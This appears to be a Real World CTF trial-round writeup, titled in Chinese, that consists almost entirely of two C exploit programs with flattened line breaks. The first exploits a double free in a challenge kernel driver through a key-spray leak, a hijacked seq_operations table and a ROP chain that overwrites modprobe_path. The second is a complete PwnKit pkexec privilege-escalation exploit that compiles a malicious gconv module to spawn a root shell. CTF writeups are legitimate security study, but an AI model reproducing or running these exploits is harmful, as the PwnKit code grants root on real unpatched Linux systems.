第五届 Real World CTF 体验赛 Writeup

#define _GNU_SOURCE#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <ctype.h>#include <err.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/timerfd.h>#include <sys/ioctl.h>#include <sys/syscall.h>#include <linux/keyctl.h>
// user_key_payload#define size_user_key_payload (24)// (gdb) ptype /o struct user_key_payload// /* offset    |  size */  type = struct user_key_payload {// /*    0      |    16 */    struct callback_head {// /*    0      |     8 */        struct callback_head *next;// /*    8      |     8 */        void (*func)(struct callback_head *);// //                                /* total size (bytes):   16 *///                            } rcu;// /*   16      |     2 */    unsigned short datalen;// /* XXX  6-byte hole  */// /*   24      |     0 */    char data[];// //                            /* total size (bytes):   24 *///                          }
int key_alloc(char *description, char *payload, int payload_len) {    return syscall(        __NR_add_key,        "user",        description,        payload,        payload_len,        KEY_SPEC_PROCESS_KEYRING    );}
void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) {    char *tmp_desc = (char *)malloc(description_len + 100);    memset(tmp_desc, 0, description_len + 100);    memcpy(tmp_desc, description, description_len);    for(int i = 0; i < spray_count; i++) {        snprintf(tmp_desc + description_len, 100, "_%d", i);        keys[i] = key_alloc(tmp_desc, payload, payload_len);        if(keys[i] == -1) {            perror("add_key");            printf("failed index: %dn", i);            // break;            exit(-1);        }    }    free(tmp_desc);}
int key_revoke(int key_id) {    return syscall(        __NR_keyctl,        KEYCTL_REVOKE,        key_id,        0,        0,        0    );}
int key_free(int key_id) {    return syscall(        __NR_keyctl,        KEYCTL_UNLINK,        key_id,        KEY_SPEC_PROCESS_KEYRING    );}

int key_read(int key_id, char *retbuf, int retbuf_len) {    return syscall(        __NR_keyctl,        KEYCTL_READ,        key_id,        retbuf,        retbuf_len    );}// user_key_payload



// utilsvoid breakpoint() {    printf("press enter to continue...n");    getchar();}
#ifndef HEXDUMP_COLS#define HEXDUMP_COLS 16#endif
void hexdump(void *mem, unsigned int len) {    putchar('n');    for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {        /* print offset */        if(i % HEXDUMP_COLS == 0) {            printf("0x%06x: ", i);        }
        /* print hex data */        if(i < len) {            printf("%02x ", 0xFF & ((char*)mem)[i]);        }        /* end of block, just aligning for ASCII dump */        else {                    printf("   ");        }
        /* print ASCII dump */        if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {            for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {                 /* end of block, not really printing */                if(j >= len) {                    putchar(' ');                }                /* printable char */                else if(isprint(((char*)mem)[j])) {                    putchar(0xFF & ((char*)mem)[j]);                }                 /* other char */                else {                    putchar('.');                }            }            putchar('n');        }    }    putchar('n');}// utils
// here we startstruct add_param {    int idx;    int size;    char *cont;};
int g_fd;int seq_fd;unsigned long long g_vmlinux = 0;unsigned long long g_modprobe_path = 0;unsigned long long g_do_task_dead = 0;unsigned long long g_heap = 0;
unsigned long long pop_rax_ret = 0;unsigned long long pop_rcx_ret = 0;unsigned long long pop_rdi_ret = 0;unsigned long long mov_ptr_rax_rdi_ret = 0;unsigned long long ret = 0;

void setup() {    g_fd = open("/dev/rwctf", O_RDWR);    printf("g_fd = %dn", g_fd);
    system("echo '#!/bin/shnchmod 777 /flag' > /tmp/x");    system("chmod +x /tmp/x");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");    system("chmod +x /tmp/dummy");
    if(fork()) {        sleep(3);        system("/tmp/dummy 2>/dev/null");        system("ls -l /flag");        system("cat /flag");        exit(1);    }}
void add(int idx, int size, char* cont) {    struct add_param arg = {        .idx = idx,        .size = size,        .cont = cont,    };
    ioctl(g_fd, 0xdeadbeef, &arg); // no error check}
void delete(int idx) {    ioctl(g_fd, 0xc0decafe, &idx); // no error check}
void leak() {    int OBJ_SIZE = 0x100;    char *cont = malloc(OBJ_SIZE);     memset(cont, 'x', OBJ_SIZE);
    add(0, OBJ_SIZE, cont);    delete(0); // first free
    int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload;    int SPARY_USER_KEY_CNT = 50;    int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int));    char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE);    memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE);    key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));
    delete(0); // double free
    *(unsigned long long *)&cont[0x0] = 0;    *(unsigned long long *)&cont[0x8] = 0;    *(unsigned long long *)&cont[0x10] = 0x2000; // user_key size    for(int i = 0; i < 100; i++) {        add(1, OBJ_SIZE, cont);    }
    char *recv_payload = malloc(0x2000);    int anchor = 0;    for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {        memset(recv_payload, 0, 0x2000);        int retval = key_read(keys[i], recv_payload, 0x2000);        // printf("retval = %dn", retval);        if(retval > SPRAY_USER_KEY_SIZE) {            printf("find anchor %dn", anchor);            printf("we leaked something...n");            anchor = i;            break;        }    }
    if(anchor == 0) {        err(-1, "bad luck, try again!n");    }
    for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {        if(i != anchor) {            key_revoke(keys[i]);        }    }
    memset(recv_payload, 0, 0x2000);    int retval = key_read(keys[anchor], recv_payload, 0x2000);    // printf("retval = %dn", retval);    if(retval > SPRAY_USER_KEY_SIZE) {        // hexdump(recv_payload, 0x200);        unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8];        unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0];        unsigned long long needle = *(unsigned long long *)&recv_payload[0x100];        if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) {            printf("leaked heap @ 0x%llxn", heap);            printf("leaked user_free_payload_rcu @ 0x%llxn", _user_free_payload_rcu);            g_vmlinux = _user_free_payload_rcu - 0x339d8210;            printf("vmlinux @ 0x%llxn", g_vmlinux);            g_modprobe_path = g_vmlinux + 0x34e510a0;            // printf("modprobe_path @ 0x%llxn", g_modprobe_path);            g_do_task_dead = g_vmlinux + 0x336a3190;            pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret            pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret            pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret            mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret            ret = g_vmlinux + 0x33600341; // ret        }    }
    sleep(1); // free user_key    for(int i = 0; i < 100; i++) {        close(keys[i]);    }
    // // place gadgets    // memset(cont, '!', OBJ_SIZE);    // for(int i = 0; i < 100; i++) {    //     add(1, OBJ_SIZE, cont);    // }}
void hijack() {    int OBJ_SIZE = 0x20; //    char *cont = malloc(OBJ_SIZE);     memset(cont, 'z', OBJ_SIZE);
    add(0, OBJ_SIZE, cont);    delete(0); // first free
    seq_fd = open("/proc/self/stat", O_RDONLY);    delete(0); // second free

    unsigned char fake_seq_operations[OBJ_SIZE];    memset(fake_seq_operations, '0', OBJ_SIZE);    // *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111;                 *(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160    *(unsigned long long *)&fake_seq_operations[0x08] = ret;                 *(unsigned long long *)&fake_seq_operations[0x10] = ret;                 *(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;
    for(int i = 0; i < 1; i++) {        add(1, OBJ_SIZE, fake_seq_operations);    }
    __asm__(        "mov r15, pop_rax_ret;"        "mov r14, g_modprobe_path;"        "mov r13, pop_rdi_ret;"        "mov r12, 0x0000782f706d742f;" // /tmp/xx00        "mov rbp, mov_ptr_rax_rdi_ret;"        "mov rbx, g_do_task_dead;"        "mov r11, 0x77777777;"        "mov r10, 0x88888888;"        "mov r9,  0x99999999;"        "mov r8,  0xaaaaaaaa;"        "mov rcx, 0x666666;"        "mov rdx, 8;"        "mov rsi, rsp;"        "mov rdi, seq_fd;"        "xor rax, rax;"        "syscall"    );    // read(seq_fd, fake_seq_operations, 1);

}
int main() {    setup();    leak();
    // breakpoint();    hijack();
    // breakpoint();
    return 0;}

#include <stdio.h>#include <stdlib.h>#include <unistd.h>
char *shell =   "#include <stdio.h>n"  "#include <stdlib.h>n"  "#include <unistd.h>nn"  "void gconv() {}n"  "void gconv_init() {n"  "  setuid(0); setgid(0);n"  "  seteuid(0); setegid(0);n"  "  system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"  "  exit(0);n"  "}";
int main(int argc, char *argv[]) {  FILE *fp;  system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");  system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");  fp = fopen("pwnkit/pwnkit.c", "w");  fprintf(fp, "%s", shell);  fclose(fp);  system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");  char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };  execve("/usr/bin/pkexec", (char*[]){NULL}, env);}